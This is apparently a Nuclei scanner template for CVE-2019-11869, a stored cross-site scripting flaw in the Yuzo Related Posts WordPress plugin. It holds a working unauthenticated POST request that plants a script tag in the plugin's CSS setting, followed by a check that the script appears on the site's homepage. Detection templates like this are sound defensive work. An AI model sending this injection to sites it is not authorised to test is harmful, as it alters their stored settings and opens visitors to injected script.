43 lines
1.4 KiB
YAML
43 lines
1.4 KiB
YAML
id: CVE-2019-11869
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info:
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name: Yuzo Related Posts plugin XSS
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author: ganofins
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severity: medium
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description: |
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The Yuzo Related Posts plugin before 5.12.94 for WordPress has XSS
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because it mistakenly expects that is_admin() verifies that the
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request comes from an admin user (it actually only verifies that the
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request is for an admin page). An unauthenticated attacker can inject
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a payload into the plugin settings, such as the
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yuzo_related_post_css_and_style setting.
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References:
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- https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild
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- https://wpscan.com/vulnerability/9254
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requests:
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- raw:
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- |
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POST /wp-admin/options-general.php?page=yuzo-related-post HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
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Content-Type: application/x-www-form-urlencoded
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yuzo_related_post_css_and_style=</style><script>alert(0);</script>
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- |
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GET / HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
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Upgrade-Insecure-Requests: 1
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- 'contains(body_2, "<script>alert(0);</script>") == true'
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- type: dsl
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dsl:
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- "contains(tolower(all_headers_2), 'text/html') == true" |